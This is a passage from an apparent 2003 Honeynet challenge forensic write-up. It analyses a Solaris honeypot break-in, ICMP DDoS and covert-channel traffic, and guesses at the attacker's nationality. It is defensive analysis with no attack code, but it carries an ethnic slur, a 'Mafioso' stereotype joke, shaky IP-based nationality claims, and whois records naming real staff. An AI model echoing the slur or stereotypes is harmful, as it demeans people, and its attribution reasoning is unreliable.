phone:        +39 0471 440110

fax-no:       +39 0471 440156

e-mail:       [email protected]

nic-hdl:      HP1314-RIPE

changed:      [email protected] 19990209

changed:      [email protected] 19990217

changed:      [email protected] 20000627

changed:      [email protected] 20001115

source:       RIPE

 

person:       Edwin Thomaseth

address:      Informatica Alto Adige

address:      Via Siemens 29

address:      Bolzano - Italy

phone:        +39 0471 440111

fax-no:       +39 0471 440156

e-mail:       [email protected]

nic-hdl:      ET1482-RIPE

changed:      [email protected] 20000317

changed:      [email protected] 20001115

source:       RIPE

 

person:       Roberto Fabbri

address:      Informatica Alto Adige Spa

address:      Via Siemens 29

address:      I-39100 Bolzano

address:      Italy

phone:        +39 0471 440110

fax-no:       +39 0471 440156

e-mail:       [email protected]

nic-hdl:      RF3393-RIPE

changed:      [email protected] 20000203

changed:      [email protected] 20000516

changed:      [email protected] 20001115

source:       RIPE

 

That established another Mafioso connection ; - ) so my…

 

          8. Final Assumption

 

 

Attacker is Italian because  the IP address used to access the rootkit which we assumed only the Attacker knows resolves to SIAG and ISP and Software producer in Italy (Above whois result).

 

Therefore our Truth Table == Attacker is most likely Italian because the geographical location of SIAG is Italy, but what if  SIAG is also compromised by the attacker and using IP address from  previously owned box around the world like 61.219.90.180 server from Taiwan. Therefore Attacker is Chinese ; - )

 

Thus we can’t established a precise information on the Nationality of the Attacker specially if the attacker utilized encrypted communication like ssh on the originating IP, unless they give me the logs of SIAG and backtrace all the way…we can’t read the ssh communication either.

 

 

Thaaaattss all Chink :- )

 

 

VI. Answers Questions:

 (I suggest reading the entire document to have a better perspective of the challenge)

 

  1. What is the operating system of the honeypot? How did you determine that? (see day1)

 

Sun O.S. 5.8 on Sparc. I utilized three technique here using Ethereal, First the Ethernet Frame field which reveals the source / destination IP address Operating system but not complete it just say Sun, Second using Passive OS fingerprinting by decoding by hand the packets TTL, window size, maximum segment size, don’t fragment flags, window scaling, sackOK flag, and nop flag of the TCP/IP stack and comparing my result to Default TTL values of OS I’ve known (Please see References Section) and running p0f my Michal Zalewski. Third  as revealed by the Attacker after the remote buffer overflow issuing a uname – a  command by which honeypot replies SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10 and by the attacker downloading from Sun Microsystem Binary Patch, and downloading Sun OS rootkits as well. I also perform a file command to the binaries which confirm the honeypot OS. For complete details of the answer please go to Sub Title “Operating System Fingerprinting (Honeynet Question 1)”.

 

  1. How did the attacker(s) break into the system? (see day1)

 

The Attacker performs a recon or probe first on the honeynet and from IP address 61.219.90.180 server from Taiwan, launch a remote buffer overflow which bind to port 1524 ingresslock.

For complete details of the answer please go to Sub Title ‘’Break In (Honeynet Question 2)’’.

 

  1. Which systems were used in this attack, and how?(see day1)

 

If systems used for probe - recon we’ve  got

203.69.233.93, 61.144.145.243, 61.221.179.26, 67.195.152.135, 203.239.31.60, 61.211.179.26, 64.24.196.50 .. and etc.

 

If systems used that actually gain super user status on the honeypot it was a Linux Server from Taiwan with IP 61.219.90.180.

I also run snort which logs many intrusion of type ICMP PING SPEEDERA, ICMP Large ICMP Packet, SCAN Squid, and Scan Proxy Attempt , after that base on the TABLE TIME LINE  After the recon or probe I do a dig, nslookup, and whois queries of the individual IP address on the Table to determine their respective geographical place of origin so that I can use it later , I also include attacker IP  Address  61.219.90.180 to the query and run p0f on every one of them resulting to a Linux server from Taiwan for 61.219.90.180. After that  attacker do a remote buffer overflow which bind to port 1524. For complete details of the answer please go to Sub Title ‘’Operation Recon (Honeynet Question 3)’’

 

  1. Create a diagram that demonstrates the sequences involved in the attack. (see day1)

 

Please go to Sub Title ‘’Attack Sequence Diagram (Honeynet Question 4)’’.

 

  1. What is the purpose/reason of the ICMP packets with 'skillz' in them? (see day1)

 

The purpose of  ICMP packets with “skillz” in them is to perform a Denial of Service attack to random IP address from the certain source where the binary solbnc is installed. Snort logs say ICMP PING SPEEDERA, ICMP Large ICMP Packet. And when I dump the Application layer later the ‘’skillz’’ is plainly seen on the ICMP packets.  For Complete details of the answer please go to Sub Title ‘’Breaking skillz: inside the downloaded tar balls (Honeynet Question 5)’’.

 

  1. Following the attack, the attacker(s) enabled a unique protocol that one would not expect to find on a n IPv4 network. Can you identify that protocol and why it was used? (see day3)

 

Article Loki from Phrack Magazine, detailed the used of covert channels being used to secretly hidedata, as backdoor, and covert tunnel using ICMP protocol. In This challenge I observe similar occurrence of covert channel using ICMP protocol, and being utilized as stealth Port scan or DDOS tools If I’m not Mistaken. For complete details of the answer please go the Sub Title ‘’ Covert Datagrams (honeynet question 6) ‘’.

 

  1. Can you identify the nationality of the attacker? (see day3)

 

Yes!, The most likely Nationality of the Attacker is Italian.

          For complete details of the answer please go to Sub Title

          “La Gringo y Nacionalista Partida Con Retarded:  (Honeynet question 7)

          I love that part go read it.

 

VII. Bonus Question:

 

I’m no expert on TCP/IP, and I may be wrong on my analysis on question number 6. But if I’m right the IDS industry will suffer a big blow, take this for instance if Snort does not record or trigger anything unusual since Snort IDS relies on Anti-Virus like signatures of Known Security Vulnerabilities reported by security researchers and etc. it might not correctly Identify the Intrusion and Let it pass thru.

 

Ethereal and Snort will do just fine.

 

VIII. References

 

    

          Andrew S. Tanenbaum

Computer Networks ISBN 987-3076-46-1

 

          Phrack Magazine  Vol. 7  Issue Fifty-Nine – Zero Six (Project Loki)   

            Smashing Stack For Fun and Profit

          http://www.phrack.org

 

           Internet Assigned Numbers Authority (IANA)       

http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc1700.html 

 

DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION

          rfc 1035

 

          Language Translator

          http://babel.altavista.com/tr

  

          Michal Zalewski p0f

          http://www.stearns.org/p0f

 

          Default TTL values on TCP/IP

          http://www.switch.ch/docs/ttl_default.html      

 

           Lists of fingerprints for passive fingerprint monitoring  

          http://project.honeynet.org/papers/finger/traces.txt

 

          Passive host Fingerprinting

          http://maxvision.net/      

          http://project.honeynet.org/papers/finger/traces.txt

 

          Ethereal

          http://www.ethereal.com


          Snort

            http://www.snort.org

 

 

             

 

-----BEGIN PGP PUBLIC KEY BLOCK-----

Version: GnuPG v1.0.1 (GNU/Linux)

Comment: For info see http://www.gnupg.org

mQGiBD7KUXIRBACo88ZcN/swVafHOfRbbGThb2TQhVhI4+0GWO8Z/bAbixUBJHcP

hlNiMDZFYBYwTyBXm1OBC1VRoLlm9kA0zhnaf1Ia1VMb5N/hRRvPiU+wxlfOOxzg

lMs23iwy2CLIyWli8B7oZEc2/xemSK8j51TZpk/AR2n4O5Tds++b12AtIwCghjts

REjI4U9X/UIMLYq+sx18bXcD/RmF93g/4/vXajRLCklrB3Zs7Fj7pMH4tUugzgbR

T6BFrckhl5zd3wWGN+QOmdyuvu9sWR8kiM8syN1D5XQq3G0BwN9eREIX7k8FLi4k

ZeF/CebjOj5AYs/pl2qtjKZ4a4ghKpoNyWVJNSlTBbiiUUeDbZXIEsyMJLm15vBt

ApACA/0QSTce20fSm2il3F+FAe9djsAHQrROP+hV2H2X/SbLW+GoDJ4ZWViifi2D

kZtNZ8+QhNnPzEVgTK/6DfvIiTOOjrKxLSO9hCneaWvns3X0Mglv6LccXsqMJVef

55IG4Zqo91tMdlHogyIzz1VJAPm2Cjz/hgyjKBAFhIatZWCTELQ3ZG9waGluZSB2

LiBicml0YW5pY28gKG1pY2hhZWwpIDxkb3BoaW5lQGRpZ2l0ZWxvbmUuY29tPohc

BBMRAgAcBQI+ylFyBQkB4TOABAsKBAMDFQMCAxYCAQIXgAAKCRCHGt9f2twTrhE4

AJ44zgFbG6pCuTKmZdEu6oV8JGvovACfWEWEbJrBe4bh4IBb81vaBYWEynu5AQ0E

PspRixAEAKg9u+JnDvVEVouF8QutUwWQeY3VGhgc6O6rMz0j82pl0FfquU6UAF2N

3l8LwJAwdamipW3aXWM8sDokLl/jnnPgVtjkD6uRJNROlicPHNE1ErfO3E7qo5Nz

wRb9asZ66VSsHl7InatgiFyP4HGcppdFCfm67IYbiA8GbXCkbJR/AAMFA/95jXAX

76e569SCFNMXaUdZqSdDr6xd8pDaVrlEWhHhyvGZS+dR2ingTdw2A/iLA2P8p19e

EjDpj0xDMNocXfstIImZ37CuliU0BdUApRyqUPaA79ej/ieWcsCshttiL1WyMsgI

6Sm/+VY6zpGhb051CUSgNNRBkU4BU5C3ViXFi4hMBBgRAgAMBQI+ylGLBQkB4TOA

AAoJEIca31/a3BOuflAAniejvGrbEnztGk4iHsRj3vJD9XRgAJ9SgUGpZtzNTkEd

L0HOEC8u5qJm1Q==

=nXfb

-----END PGP PUBLIC KEY BLOCK-----

 

 

 

 

                                                           

                                               

  

Copyright (c) 2003 By Dophine V. Britanico